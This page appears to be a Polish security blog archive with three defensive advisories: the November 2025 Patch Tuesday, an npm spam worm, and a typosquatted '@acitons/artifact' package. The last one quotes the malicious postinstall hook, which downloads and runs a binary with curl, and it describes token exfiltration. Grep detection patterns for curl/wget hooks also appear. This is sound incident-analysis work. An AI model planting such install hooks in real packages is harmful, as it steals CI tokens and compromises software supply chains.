Archiwa: DevSecOps - Strona 17 z 18 - Security Bez Tabu

Specjalistyczne Dystrybucje Linuksa W Cyberbezpieczeństwie

Po co nam tyle dystrybucji bezpieczeństwa? Krótki kontekst techniczny

W świecie cyberbezpieczeństwa Linux odgrywa szczególną rolę – to fundament wielu narzędzi i środowisk do testów bezpieczeństwa, analizy incydentów czy ochrony prywatności. Zwykła dystrybucja Ubuntu czy Fedora oczywiście może zostać wyposażona w potrzebne programy, ale istnieją gotowe systemy tworzone z myślą o konkretnych zadaniach.

Czytaj dalej „Specjalistyczne Dystrybucje Linuksa W Cyberbezpieczeństwie”

Microsoft Patch Tuesday — listopad 2025. Zero-day w jądrze Windows (CVE-2025-62215), krytyczne RCE (GDI+) i poprawki dla Office, SQL, WSL

Wprowadzenie do problemu / definicja luki

Microsoft opublikował listopadowy pakiet poprawek zabezpieczeń obejmujący 63 luki (CVE) w Windows i komponentach ekosystemu (Office, Edge (Chromium), Azure Monitor Agent, Dynamics 365, Hyper-V, SQL Server, WSLg itd.). Wśród nich znajduje się jeden zero-day aktywnie wykorzystywanyCVE-2025-62215 (eskalacja uprawnień w jądrze Windows), a także kilka krytycznych RCE (m.in. GDI+ CVE-2025-60724) oraz podatności dotykających workflow deweloperskich i rozszerzeń z obszaru Copilot/Agentic AI.


W skrócie

  • Skala: 63 CVE (wg ZDI/Tenable). 4–5 CVE ocenionych jako Critical, reszta Important.
  • Zero-day: CVE-2025-62215Windows Kernel EoP (wyścig zdarzeń/race condition). Wymaga lokalnego dostępu, ale często łączony z RCE w łańcuchu ataku. Priorytet 1 do patchowania.
  • Krytyczne RCE:
    • CVE-2025-60724 (GDI+)CVSS 9.8, możliwa zdalna eksploatacja przez przetwarzanie specjalnie spreparowanych plików/metafili; ryzyko dla usług parsujących dokumenty bez interakcji użytkownika.
    • CVE-2025-62199 (Office) – RCE; „Preview Pane jako wektor” (ostrożnie: Microsoft wskazuje wymaganą interakcję użytkownika).
  • Inne istotne: Azure Monitor Agent RCE (CVE-2025-59504), WSLg RCE (CVE-2025-62220), DirectX/CLFS EoP, podatności CoPilot/Agentic AI (RCE/SFB, np. CVE-2025-62222).
  • Produkcyjne wskazówki: szybkie wdrożenie aktualizacji, czasowe wyłączenie Preview Pane w Outlook/Explorer, izolacja pracy z plikami Office, aktualizacja AMA/WSLg z linii poleceń, kontrola polityk makr i niepodpisanych rozszerzeń VS/VS Code. (Dowody w sekcjach niżej).

Kontekst / historia / powiązania

W październiku 2025 Microsoft łatał rekordowe 172 luki, w tym kilka aktywnie wykorzystywanych. Listopad przynosi wyraźne uspokojenie liczby CVE, ale charakter błędów (kernel EoP, GDI+ 9.8, Office/Preview Pane, elementy chmury/agentów) sprawia, że ich priorytet operacyjny pozostaje wysoki. Różne serwisy raportują rozbieżne liczby (63/66/68/80) – wynika to m.in. z uwzględniania/nie uwzględniania CVE chromium/Edge, komponentów zewnętrznych i aktualizacji dokumentacyjnych. Najbardziej spójne i techniczne podsumowania dla adminów publikują ZDI i Tenable – w tym materiale opieramy się głównie na nich oraz na przeglądzie Briana Krebsa.


Analiza techniczna / szczegóły luki

1) Zero-day: CVE-2025-62215 — Windows Kernel EoP (race condition)

  • Typ: Elevation of Privilege (lokalne, wymaga uwierzytelnienia).
  • Opis: warunek wyścigu w jądrze Windows, pozwalający atakującemu „wygrać” przełączenie stanu i uzyskać SYSTEM.
  • Zastosowanie w praktyce: łączone z RCE (phishing/dokument/serwis www) → post-exploitation: trwała eskalacja i obejście EDR przez uruchamianie implantów z uprawnieniami jądra/procesu krytycznego.
  • Status: aktywnie wykorzystywana w środowisku (zero-day). CVSS v3: 7.0, Important (niska zdalność, wysoka waga po połączeniu).

Wskazówka laboratoryjna (blue team): w telemetrii EDR szukaj anomalii w przełączaniu integrities (Low/Medium → SYSTEM), nietypowych uchwytów do urządzeń jądra i „daisy-chain” tuż po uruchomieniu niepodpisanego binarium z katalogów tymczasowych.


2) CVE-2025-60724 — GDI+ RCE (CVSS 9.8)

  • Wektor: przetwarzanie specjalnie spreparowanych metafili/obrazów (GDI+).
  • Ryzyko: potencjalna eksploatacja bez interakcji po stronie usług, które parsują dokumenty (np. previewer, usługi konwersji/ekstrakcji metadanych, serwerowe procesory plików).
  • Dlaczego istotne: GDI+ bywa bramką do RCE w aplikacjach serwerowych oraz pecetach skanujących pliki przychodzące (DLP, AV, indeksowanie).

Higiena: sandboxing parserów dokumentów i ograniczenie uprawnień kont usługowych wykonujących podgląd/konwersję.


3) CVE-2025-62199 — Microsoft Office RCE (Preview Pane)

  • Fakt kluczowy: Preview Pane wskazany jako wektor; jednocześnie Microsoft opisuje wymóg interakcji użytkownika (niespójność noty). Praktycznie: rozważ wyłączenie podglądu w Outlook/Explorer do czasu wdrożenia poprawek.

GPO (wyłączenie podglądu w Outlook):

Windows Registry Editor Version 5.00
; Outlook – wyłącz okienko podglądu
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Preferences]
"ReadingPaneOptions"=dword:00000000

(W środowiskach korporacyjnych preferuj ADMX/Group Policy zamiast pojedynczych wpisów rejestru.)


4) Azure Monitor Agent (AMA) — RCE (CVE-2025-59504)

  • Charakter: nieuwierzytelnione RCE możliwe do wywołania z sieci przy podatnej konfiguracji.
  • Znaczenie: AMA jest szeroko stosowany w zbieraniu logów/telemetrii; kompromitacja może dać pivot do zasobów IaaS/serwerów hybrydowych.
  • Działanie: aktualizacja agenta i walidacja ekspozycji portów.

Aktualizacja AMA z linii poleceń (Windows):

# Aktualizacja rozszerzenia Azure Monitor Agent na VM z Azure (Az module)
$vm = Get-AzVM -Name "prod-app-01" -ResourceGroupName "RG-Prod"
Set-AzVMExtension -ResourceGroupName $vm.ResourceGroupName -VMName $vm.Name `
  -Name "AzureMonitorWindowsAgent" -Publisher "Microsoft.Azure.Monitor" `
  -Type "AzureMonitorWindowsAgent" -TypeHandlerVersion "1.29" -AutoUpgradeMinorVersion $true

5) WSLg — Windows Subsystem for Linux GUI RCE (CVE-2025-62220)

  • Opis: RCE w komponencie GUI WSL. Wymaga interakcji użytkownika (otwarcie przygotowanego pliku/akcji).
  • Patchowanie: aktualizacja WSL z poziomu wiersza poleceń (poza klasycznym Windows Update).

Aktualizacja WSL:

wsl.exe --update
wsl.exe --status

6) DirectX / CLFS — kolejne EoP

  • DirectX (EoP) i CLFS (EoP): historycznie CLFS bywało wielokrotnie wykorzystywane przez ransomware i APT do podniesienia uprawnień. Nie są oznaczone jako „exploited”, ale to wysoki priorytet twardnienia.

7) Copilot / Agentic AI / VS Code — RCE i SFB (np. CVE-2025-62222)

  • Trend: pierwsze wzmianki o lukach określanych jako dotyczące „Agentic AI” i integracji narzędzi deweloperskich.
  • Ryzyko: remote code execution na repozytoriach ofiary połączone ze spoofingiem/prompt-injection i niewystarczającą walidacją wygenerowanych artefaktów.
  • Reakcja: wymuś review i podpisywanie rozszerzeń/agentów, ogranicz automatyczne wykonywanie skryptów generowanych przez narzędzia asystujące.

Praktyczne konsekwencje / ryzyko

  • Łańcuchy ataku „phish → RCE → kernel EoP”: CVE-2025-62199 (Office/Preview Pane) lub CVE-2025-60724 (GDI+) daje inicjalny kod, CVE-2025-62215 zapewnia SYSTEM i trwałość.
  • Ryzyko serwerowe: serwisy przetwarzające pliki (skanery, konwertery, DLP, podglądy) narażone na GDI+ 9.8; hosty z AMA eksponowane na sieć — RCE bez auth.
  • DevSecOps: IDE/VS/VS Code i rozszerzenia Copilot/Agentic AI — nowy wektor: supply-chain w procesie developerskim.

Rekomendacje operacyjne / co zrobić teraz

1) Patch management (priorytet A — 24/48 h):

  • Windows/Office/SQL/WSLg/AMA na wszystkich hostach. Zacznij od systemów z ekspozycją internetową oraz stacjach z wysokim ryzykiem (helpdesk, finanse, GRC).

2) Twardnienie pod „Preview Pane”:

  • Tymczasowo wyłącz Preview Pane (Outlook/Explorer) polityką.
  • Zastosuj MOTW enforcement i politykę blokady makr z Internetu. (Microsoft od miesięcy promuje ten kierunek).
  • Włącz Protected View i otwieranie w trybie „Application Guard for Office”, jeśli licencje pozwalają.

3) Segmentacja parserów i usług plikowych:

  • Sandboxy dla serwisów podglądu/przetwarzania dokumentów; AppContainer/WDAC na hostach skanujących.
  • Uruchamiaj parsery na kontach niskoprzywilejowych z ograniczonym dostępem do sieci.

4) WSLg i AMA:

  • WSL: wsl.exe --update w zadaniu harmonogramu po patchach OS.
  • AMA: zaktualizuj rozszerzenie na VM w Azure i zweryfikuj reguły NSG — AMA nie powinien być bezpośrednio osiągalny z Internetu.

5) Dev tooling (VS/VS Code/Copilot):

  • Wymuś Allow-listę rozszerzeń, podpisy i minimalne wersje; odetnij uruchamianie skryptów z nieufnych źródeł (Set-ExecutionPolicy AllSigned).
  • Edukuj devów o prompt-injection i zasadzie „review przed run”.

6) Detections/telemetria (przykłady KQL/PowerShell):

  • Wzorzec EoP po RCE (pliki tymczasowe → SYSTEM) – Microsoft Defender for Endpoint (KQL):
DeviceProcessEvents
| where InitiatingProcessIntegrityLevel in ("Low","Medium")
| where ProcessIntegrityLevel == "System"
| where Timestamp > ago(3d)
| summarize count(), any(ProcessCommandLine) by DeviceName, InitiatingProcessFileName, ProcessName
  • Podejrzane preview/parsowanie plików Office:
DeviceFileEvents
| where Timestamp > ago(3d)
| where FileName matches regex @"\.(docx|xlsx|rtf|emf|wmf)$"
| where InitiatingProcessFileName in ("splwow64.exe","mspreview.exe","prevhost.exe","outlook.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, FileName
  • Odnalezienie stacji z włączonym okienkiem podglądu (Outlook) – zapytanie PowerShell/Remoting, raport do CSV:
$computers = Get-ADComputer -Filter * | Select-Object -Expand Name
$results = foreach($c in $computers){
  Invoke-Command -ComputerName $c -ScriptBlock {
    Get-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Outlook\Preferences" `
      -Name ReadingPaneOptions -ErrorAction SilentlyContinue
  } | Select-Object PSComputerName, ReadingPaneOptions
}
$results | Export-Csv .\outlook_previewpane_status.csv -NoTypeInformation

Różnice / porównania z innymi przypadkami

  • Mniej CVE vs. październik 2025, ale większa „jakość” ryzyka: zero-day w kernelu, GDI+ 9.8, łańcuchy z Office/Preview i elementy agentów/AI.
  • Rozbieżności liczby CVE (63 vs. 66/68/80) wynikają z liczenia komponentów Chromium, Edge, czasem Adobe lub dokumentowanych wcześniej poprawek; dla operacji patchowania najwierniejsze bywają listy ZDI/Tenable zsynchronizowane z MSRC.

Podsumowanie / kluczowe wnioski

  1. Patchuj teraz – szczególnie systemy narażone i stacje użytkowników wysokiego ryzyka. CVE-2025-62215 (kernel EoP) jest aktywnie wykorzystywana i często domyka łańcuch po RCE.
  2. Zamknij Preview Pane i ogranicz otwieranie dokumentów zewnętrznych do czasu pełnego wdrożenia łatek. Office RCE (CVE-2025-62199) i GDI+ (CVE-2025-60724) to realne wektory.
  3. Zaktualizuj AMA i WSLg osobno, przejrzyj ekspozycję usług i uprawnienia kont serwisowych.
  4. Ucywilizuj narzędzia Dev (VS/VS Code/Copilot/Agentic AI): allow-listy, podpisy, zasada „review przed run”, egzekwuj AllSigned.

Źródła / bibliografia

  • Brian Krebs, „Microsoft Patch Tuesday, November 2025 Edition” — przegląd miesiąca i kontekst wdrożeniowy. (Krebs on Security)
  • Zero Day Initiative (Trend Micro), „The November 2025 Security Update Review” — lista CVE, omówienia GDI+/Office/AMA/WSLg/Agentic AI, wskazanie zero-day CVE-2025-62215. (Zero Day Initiative)
  • Tenable, „Microsoft’s November 2025 Patch Tuesday Addresses 63 CVEs (CVE-2025-62215)” — metryki i zestawienie dotkniętych komponentów. (Tenable®)
  • BleepingComputer, „Microsoft November 2025 Patch Tuesday fixes 1 zero-day, 63 flaws” — potwierdzenie skali i statusu 0-day. (BleepingComputer)
  • SANS Internet Storm Center, „Microsoft Patch Tuesday for November 2025” — ujęcie operacyjne i komentarz do krytycznych poprawek. (SANS Internet Storm Center)

„IndonesianFoods”: dziesiątki tysięcy złośliwych paczek na npm z samoreplikującym się „robakiem” (Big Red)

Wprowadzenie do problemu / definicja zjawiska

Badacze bezpieczeństwa odkryli szeroko zakrojoną kampanię spamowo-szkodliwą w ekosystemie npm, w której opublikowano dziesiątki tysięcy paczek zawierających samoreplikujący się kod („robaka”), masowo generujący i publikujący nowe, losowo nazwane pakiety. Incydent jest przypisywany operatorowi posługującemu się językiem indonezyjskim i bywa określany jako „IndonesianFoods” lub „Big Red”. Celem nie jest klasyczne wykradanie sekretów, lecz zalew rejestru tysiącami artefaktów i nadużycie infrastruktury (w tym możliwa monetyzacja przez ekosystem tea.xyz).


W skrócie

  • Skala: od ~44–80 tys. i więcej złośliwych paczek, wykrytych na dziesiątkach kont npm. Nazwy generowane z list słów (przymiotniki/zwierzęta/kolory) oraz słowników z indonezyjskimi imionami i potrawami.
  • Mechanizm: prosty skrypt (Node.js) modyfikuje package.json/package-lock.json, usuwa private: true, nadaje losową wersję i publikuje kolejne paczki w pętli (co kilka sekund).
  • Wektory nadużycia: ponowne użycie zapisanych poświadczeń npm ofiary; możliwy cel: nagrody/„reputa­cja” w tea.xyz, SEO/pozycjonowanie lub „próba generalna” przed realnym ładunkiem.
  • Ryzyko: zanieczyszczenie wyników wyszukiwania, wzrost prawdopodobieństwa przypadkowej instalacji i zatrucie łańcucha dostaw (w CI/CD).

Kontekst / historia / powiązania

Kampania trwa co najmniej od 2023/2024 r., ewoluując od zwykłego spamu do robakopodobnej automatyzacji w 2025 r. (auto-publikacja i szybkie replikowanie). Część obserwacji wiąże aktywność z mechanizmami punktacji/nagród tea.xyz, co tłumaczy presję na masę i widoczność. Niezależne raporty (SecurityWeek, SourceCodeRed, JFrog) różnią się liczbami (43–80 tys.+), ale są spójne co do automatycznej pętli publikacji i słowników nazw. Dodatkowe doniesienia prasowe wskazują na 67–100 tys. paczek w miarę trwania sprzątania i nowej publikacji.


Analiza techniczna / szczegóły

1) Generowanie metadanych i nazwy

  • Warianty wykorzystują m.in. bibliotekę unique-names-generator oraz własne słowniki (imiona/potrawy/adjektywy/zwierzęta/kolory), np. annoyed_raccoon_z3n albo indah-ketoprak73-riris.

2) „Odblokowanie” publikacji

  • Skrypt usuwa pole private: true z package.json, aby erzac-projekt Next.js stał się publicznie publikowalny: let packageData = JSON.parse(fs.readFileSync("package.json")); if (packageData.private === true) { delete packageData.private; } // wersja i nazwa nadawane losowo… exec("npm publish --access public", cb); (fragmenty logiczne opisane w analizie JFrog).

3) Samoreplikacja i tempo

  • Po publikacji skrypt czeka losowy krótki czas i uruchamia cykl od nowa. W praktyce nowe paczki pojawiają się co ~7 sekund, aż do limitów lub błędów 429 (rate-limit).

4) Poświadczenia npm

  • Pętla używa zapisanych tokenów/npmrc użytkownika (prawdopodobnie na zainfekowanej maszynie) do publikacji pod jego kontem. To nie jest „kradzież sekretów na zewnątrz”, tylko nadużycie już obecnych uprawnień.

5) IoC i artefakty

  • JFrog publikuje sumy SHA-256 plików autopublikujących i listę obserwowanych kont npm; pojawiają się też adresy powiązane z tea.xyz w plikach konfiguracyjnych (tea.yaml). Warto wzbogacić skanery o te artefakty.

Praktyczne konsekwencje / ryzyko

  • Zatrucie łańcucha dostaw (SDLC/CI/CD): łatwiej o pomyłkową instalację paczki „o normalnym wyglądzie”, szczególnie przy luźnych constraintach wersji (^, ~) i braku blokad wersji.
  • Noise & discovery risk: zespoły SCA/SAST/DevSecOps dostają tysiące „śmieciowych” trafień, co utrudnia triage i może ukryć prawdziwe ataki.
  • Eskalacja scenariusza: ta sama infrastruktura może być „przełączona” na realny ładunek (np. infostealer, crypto-theft), a nie jedynie spam—JFrog wskazuje taki wariant jako prawdopodobny „dry run”.

Rekomendacje operacyjne / co zrobić teraz

Poniżej zestaw działań do wdrożenia od razu, od punktów krytycznych po „twardnienie” procesu.

A. Reagowanie i hunting

  1. Zablokuj i odśwież tokeny npm (szczególnie na maszynach buildowych):
# pokaż aktualne tokeny
npm token list
# unieważnij podejrzany token (wstaw ID)
npm token revoke <token-id>
# wymuś 2FA dla publikacji
npm profile enable-2fa auth-and-writes
  1. Przegląd ostatnich publikacji pod Twoją nazwą/npm org (czy „ktoś” nie publikował śmieci w Twoim imieniu):
# szybki podgląd zmian w Twojej organizacji przez API npm
curl -s "https://registry.npmjs.org/-/org/<twoja-org>/package?format=json" | jq '.'
  1. Skanuj lockfile i node_modules pod wzorce nazw ze słowników (adjectives/animals/colors, indonezyjskie imiona/potrawy) i znane IoC (hash’e z raportu JFrog). Przykładowy skrypt huntujący w repo:
# szukaj podejrzanych nazw w package-lock.json / pnpm-lock.yaml / yarn.lock
grep -E -i "(rendang|ketoprak|sambel|nasi|goreng|_z3n|meadowlark|raccoon)" \
  package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null

# weryfikuj SHA plików autopublikujących, jeśli występują
shasum -a 256 **/auto.js **/publishScript.js **/index.js 2>/dev/null

(doposaż bazę IoC o hash’e i konta z raportu JFrog).

  1. Wymuś „allow-listy” w prywatnym mirrorze/proxy rejestru (Artifactory/Nexus/JFrog/Frog Curation, Sonatype Firewall): odrzuć publikacje z nowych, niesprawdzonych kont i paczki pasujące do wzorców nazw. (JFrog deklaruje, że dodał te paczki do katalogu złośliwych).

B. Higiena zależności i buildów

  • Twarde pinowanie wersji + blokady (package-lock.json, pnpm-lock.yaml, yarn.lock) oraz „frozen-lockfile” w CI: npm ci --ignore-scripts # lub pnpm install --frozen-lockfile yarn install --frozen-lockfile
  • Wyłącz npm install ze „skryptami” (--ignore-scripts) w środowiskach build/test, jeżeli to możliwe.
  • Provenance i podpisy: egzekwuj npm provenance/Sigstore, SBOM (CycloneDX/SPDX) oraz polityki „only-allow”: npx only-allow pnpm # przykład wymuszenia jednego menedżera
  • Segmentacja uprawnień: tokeny npm z zakresem tylko do odczytu w CI; publikacja z osobnych, minimalnych runnerów; tajemnice w dedykowanych OIDC+STS zamiast statycznych tokenów.
  • Alerting na anomalie publikacji: jeśli Twój zespół publikuje biblioteki na npm—dodaj reguły UEBA: „więcej niż N publikacji w 1h”, „nowa paczka z nieznanej przestrzeni nazw”, „nieznany maintainer”.

C. Blokada znanych kont/nazw

W firewallu rejestru/SCA skonfiguruj deny-listę kont i prefiksów nazw z raportów (np. veylatea, użytkownicy z list JFrog/SourceCodeRed), oraz reguły detekcji tea.yaml/*_publish*.js.


Różnice / porównania z innymi przypadkami (wrzesień 2025: „Shai-Hulud”)

  • Cel i ładunek:
    • IndonesianFoods/Big Red – głównie spam i samoreplikacja; brak bezpośredniego exfiltracji sekretów w payloadzie.
    • Shai-Hulud (IX–X 2025) – kradzież sekretów/poświadczeń, trojanizacja istniejących popularnych paczek (np. @ctrl/tinycolor), masowe modyfikacje package.json, wstrzykiwanie skryptów, re-publikacja pod kompromitowanymi maintainerami.
  • Wejście do ekosystemu:
    • IndonesianFoods – tworzenie nowych tysięcy paczek-wydmuszek.
    • Shai-Hulud – przejęcie istniejących paczek o dużym zasięgu.
  • Ryzyko krótkoterminowe:
    • IndonesianFoods – ryzyko przypadkowej instalacji i zanieczyszczenia supply chain.
    • Shai-Huludnatychmiastowe ryzyko wycieku sekretów i eskalacji w CI/CD.

Podsumowanie / kluczowe wnioski

  • Mamy do czynienia z przemysłową automatyzacją produkcji paczek npm: prosta logika, ale duża skala i ciągła replikacja.
  • Nawet jeśli obecny ładunek w „IndonesianFoods/Big Red” nie kradnie danych, ten sam pipeline może w dowolnym momencie przerzucić się na realne malware.
  • Obrona to kombinacja: twarde pinowanie + „frozen” instalacje + ignore-scripts w CI, podpisy/provenance, allow-listy/deny-listy w repozytoriach pośredniczących, segmentacja tokenów i monitoring anomalii publikacji.

Źródła / bibliografia

  1. SecurityWeek — „Tens of Thousands of Malicious NPM Packages Distribute Self-Replicating Worm” (13 listopada 2025). (SecurityWeek)
  2. JFrog Security Research — „Big Red – Indonesian-based Self-replicating Malicious Spam Campaign detected in npm” (11 listopada 2025) — analiza techniczna, IoC. (research.jfrog.com)
  3. SourceCodeRed — „‘IndonesianFoods’ worm publishes more than 78,000 malicious NPM packages” — pierwsze odkrycia, tempo publikacji, słowniki nazw. (sourcecodered.com)
  4. BleepingComputer — „New ‘IndonesianFoods’ worm floods npm with 100,000 packages” — tło czasowe 2023–2025 i wątek TEA. (BleepingComputer)
  5. CISA / Sysdig — materiały porównawcze nt. kampanii „Shai-Hulud” (wrzesień 2025) — inny typ celu (exfiltracja sekretów). (CISA)

Złośliwy pakiet npm „@acitons/artifact” celował w repozytoria należące do GitHuba — analiza incydentu i zalecenia dla zespołów DevSecOps


Wprowadzenie do problemu / definicja luki

Badacze wykryli złośliwy pakiet npm @acitons/artifact będący klasycznym typosquattingiem na @actions/artifact (oficjalny pakiet GitHub Actions odpowiedzialny za artefakty CI/CD). Celem kampanii było uruchomienie złośliwego skryptu w środowisku budowania, kradzież tokenów dostępnych w jobach GitHub Actions i potencjalne publikowanie artefaktów jako GitHub (impersonacja organizacji) lub dalsza eskalacja w łańcuchu dostaw. Źródłem technicznych szczegółów jest analiza Veracode, na którą powołuje się m.in. The Hacker News.


W skrócie

  • Złośliwy pakiet: @acitons/artifact – literówka „acitons” zamiast „actions”.
  • Wersje zawierające malware: od 4.0.12 do 4.0.17 (usunięte przez sprawcę; najnowsza „bezpieczna” na npm pozostawała 4.0.10 w chwili publikacji).
  • Mechanizm infekcji: postinstall w package.json pobierał binarkę harness, która wykonywała obfuskowany shell/JS (verify.js).
  • Cele: repozytoria należące do organizacji GitHub; skrypt kończył działanie, jeśli właścicielem nie był github.
  • Dane wykradane: zmienne GITHUB_* (np. tokeny) i egfiltracja w formie zaszyfrowanej do hostów w domenie app.github.dev.
  • Skala: ~47 405 pobrań w sumie (wg npm-stat) i ~31 398 tygodniowo w szczycie.
  • Powiązany pakiet: 8jfiesaf83 (również złośliwy, usunięty).

Kontekst / historia / powiązania

Ekosystem npm od miesięcy mierzy się z eskalacją ataków na łańcuch dostaw: kompromitacje maintainerów, typosquatting, złośliwe hooki instalacyjne i łańcuchowe infekcje jobów CI/CD. Jesienią 2025 r. CISA i partnerzy ostrzegali o „szeroko zakrojonej kompromitacji” w npm oraz rekomendowali rotację poświadczeń i wzmocnienie polityk publikacji. W tym tle atak na @acitons/artifact wpisuje się w trend uderzeń w pipeline’y CI/CD i tokeny automatyzacji.

Warto przypomnieć, że oryginalny @actions/artifact jest komponentem wewnętrznym dla akcji upload/download-artifact i jest powszechnie używany w workflow GitHub Actions — co czyni go łakomym kąskiem dla typosquattingu.


Analiza techniczna / szczegóły luki

Wejście wektorowe (typosquatting):
Atak polegał na publikacji pakietu @acitons/artifact (zamiana „ti”→„it”) z metadanymi sugerującymi powiązanie z oficjalnym repo actions/toolkit. Tego typu literówkę łatwo przeoczyć w zależnościach lub w logach CI.

Hook instalacyjny
W złośliwych wersjach (4.0.12–4.0.17) w package.json umieszczono skrypt:

"scripts": {
  "postinstall": "curl https://gist.githubusercontent.com/.../harness -o ci_test_harness && chmod +x ci_test_harness && ./ci_test_harness"
}

Plik harness był obfuskowanym skryptem powłoki (skompilowanym narzędziem „Shell Script Compiler”) z mechanizmem samorestartu i datą ważności (kill switch) po 2025-11-06 UTC. Jego łańcuch uruchomienia wydobywał z siebie paczkę Node z obfuskowanym verify.js.

Warunki celu i eksfiltracja
verify.js sprawdzał obecność zmiennych GITHUB_* ustawianych w jobach Actions i opuszczał działanie, jeśli repozytorium nie należało do organizacji github. Zebrane dane szyfrowano AES (klucz pobierany z hosta w hopto[.]org) i eksfiltrację kierowano do pliku hostowanego w subdomenie app.github.dev. To minimalizowało „szum” detekcyjny (legalnie wyglądająca domena) i utrudniało korelację.

Wskaźniki kompromitacji (IoC)
Veracode podaje m.in.:

  • Pakiety/wersje: @acitons/artifact@4.0.12…4.0.17, 8jfiesaf83@1.0.0…1.0.11
  • Konta npm/GitHub: blakesdev, jmasdg, f8snaf, s0larized
  • Hash: e3a6d0d139dc56f28f82ec161b3d17ecd137b088acd3a0e8330a5d412c025b73 (próbka)

Skala pobrań
Szacunki z npm-stat wskazują ~47 tys. pobrań łącznie i ~31 tys. w tygodniu kulminacyjnym, co pokazuje, jak szybko typosquat może wejść w obieg przy minimalnym tarciu. (Uwaga: npm-stat aktualizuje się z opóźnieniem dobowym).


Praktyczne konsekwencje / ryzyko

  • Kompromitacja GITHUB_TOKEN i sekretów joba → możliwość podszycia się pod organizację, publikacja artefaktów, modyfikacja release’ów, dołączanie złośliwych komponentów do pipeline’u.
  • Zaufanie do artefaktów — jeśli token wycieknie, atakujący może „zatrącać” supply chain na kolejnych etapach (downstream).
  • Trudna detekcja — domeny pokrewne GitHubowi (app.github.dev) i logika warunkowa ograniczająca cel do organizacji github zmniejszają widoczność incydentu w telemetrii.
  • Efekt kaskadowy — na tle wcześniejszych kampanii npm (CISA, wrzesień 2025) widać, że ataki na CI/CD są trendem, nie anomalią.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania reagowania (IR)

Skan IoC i historię buildów:

  • Przeskanuj logi pipeline’ów i rejestry artefaktów pod kątem użycia @acitons/artifact (dowolnej wersji) i 8jfiesaf83.
  • Zweryfikuj, czy w Twojej organizacji nie pojawiały się odwołania do kont blakesdev, jmasdg, f8snaf, s0larized lub do domen *.app.github.dev/*.hopto.org w kontekście jobów CI.

Rotacja sekretów:

  • Wymuś rotację GITHUB_TOKEN oraz innych sekretów występujących w workflow, w których mogło dojść do instalacji z npm (w tym w jobach uruchamiających npm i). Rekomendację rotacji w podobnych zdarzeniach wspiera CISA.

2) Szybkie „bezpieczniki” w pipeline

Wyłącz postinstall w środowiskach CI:

# Na stałe w agentach CI (globalnie):
npm config set ignore-scripts true

# Lub per-run (preferowane w CI):
npm ci --ignore-scripts
# (analogicznie dla pnpm/yarn: pnpm i --ignore-scripts / yarn install --ignore-scripts)

Wymuś „no-audit” z repo zaufanym (tylko jeśli masz wewn. mirror/air-gap):

npm config set registry https://twoj-nexus-proxy.example.com/repository/npm/

Blokuj nieznane przestrzenie nazw (scope’y) i typosquatting

  • Użyj allow-list dla scope’ów/kont dostawców w SCA/ASPM (np. blokuj wszystko poza @actions/, @org-wewnętrzna/ itd.).
  • Włącz reguły detekcji typosquattingu (Levenshtein ≤1 dla krytycznych pakietów).

Pinuj wersje i hashe artefaktów

  • W GitHub Actions ustaw permissions: na minimalne, wyłącz persist-credentials w checkout, pinuj akcje po SHA zamiast po @vX.
    Przykład minimalnego szablonu:
name: ci
on: [push]
permissions:
  contents: read
  actions: read
  id-token: none
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<commit-sha>
        with:
          persist-credentials: false
      - uses: actions/setup-node@<commit-sha>
        with:
          node-version: '20'
      - run: npm ci --ignore-scripts
      - run: npm audit --audit-level=high || true
      - name: Upload artifact
        uses: actions/upload-artifact@<commit-sha>
        with:
          name: build-output
          path: dist/

Waliduj artefakty (digesty)
GitHub dokumentuje mechanizmy weryfikacji digestu między upload/download-artifact — korzystaj z nich, egzekwuj walidację w pipeline.

3) Detekcja i hunting

Wykrywanie „podejrzanych” postinstalli w lockfile/repo:

# Prosty hunting w node_modules (CI/cache build):
grep -R --line-number '"postinstall":' node_modules 2>/dev/null

# Szukanie curl/wget w hookach instalacyjnych:
grep -R --line-number -E 'postinstall.*(curl|wget)' node_modules 2>/dev/null

Kontrola zależności w SCA/ASPM
Zaimportuj IoC i listę złośliwych wersji do narzędzia SCA (część vendorów – w tym Veracode – dodała sygnatury).

Blokowanie egress
Segmentuj sieć agentów CI; blokuj wyjścia na dynamiczne hosty (np. *.hopto.org) i egzekwuj mTLS / egress allow-list dla ruchu z jobów.

4) Higiena developerów

  • Uczul zespół na literówki w scope’ach (@acitons vs @actions).
  • Włącz npm ci (reproducible builds) zamiast npm install.
  • Wymuś code review zmian w package.json/package-lock.json i monitoruj PR-y dodające nowe zależności (policy-as-code).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Ataki łańcucha dostaw w npm (IX–X 2025): liczne incydenty (m.in. masowe kompromitacje i kradzieże krypto przez biblioteki zależności) uderzały szeroko w użytkowników. Bieżąca kampania różni się wąsko ukierunkowanym celem (GitHub-owned repos) oraz warunkową logiką ograniczającą aktywację poza organizacją GitHub — to bardziej „surgical strike” niż atak masowy.
  • W przeciwieństwie do kompromitacji istniejących, popularnych pakietów, tutaj mieliśmy typosquatting podszywający się pod powszechnie używany komponent pipelines. To zmienia wektory prewencji: ważniejsze staje się allow-listing i kontrola nazewnictwa niż tylko zaufanie do maintainerów.

Podsumowanie / kluczowe wnioski

  1. Typosquatting + postinstall w ekosystemie npm nadal skutecznie omija czujność zespołów, zwłaszcza w CI.
  2. Atak na @acitons/artifact pokazał, że tokeny CI/CD są celem samym w sobie; ich kradzież umożliwia podszywanie się i dalszą kompromitację supply chain.
  3. Operacyjne „bezpieczniki” (ignore-scripts w CI, pinning po SHA, minimalne permissions, allow-list scope’ów) istotnie ograniczają powierzchnię ataku.
  4. Utrzymuj telemetrię i hunting na hooki instalacyjne i nietypowe egressy z agentów CI.
  5. Reaguj: przeszukaj buildy, rotuj sekrety, sprawdź artefakty i audytuj zależności.

Źródła / bibliografia

  • The Hacker News — Researchers Detect Malicious npm Package Targeting GitHub-Owned Repositories (11 listopada 2025). (The Hacker News)
  • Veracode — Malicious NPM Package Found Targeting GitHub By Typosquatting on GitHub Action Packages (10 listopada 2025) — analiza techniczna i IoC. (Veracode)
  • npm-stat — statystyki pobrań @acitons/artifact. (npm-stat.com)
  • GitHub Docs — walidacja artefaktów (digest) w Actions. (GitHub Docs)
  • CISA — alert dot. szerokiej kompromitacji łańcucha dostaw w npm (wrzesień 2025) — tło i zalecenia. (CISA)

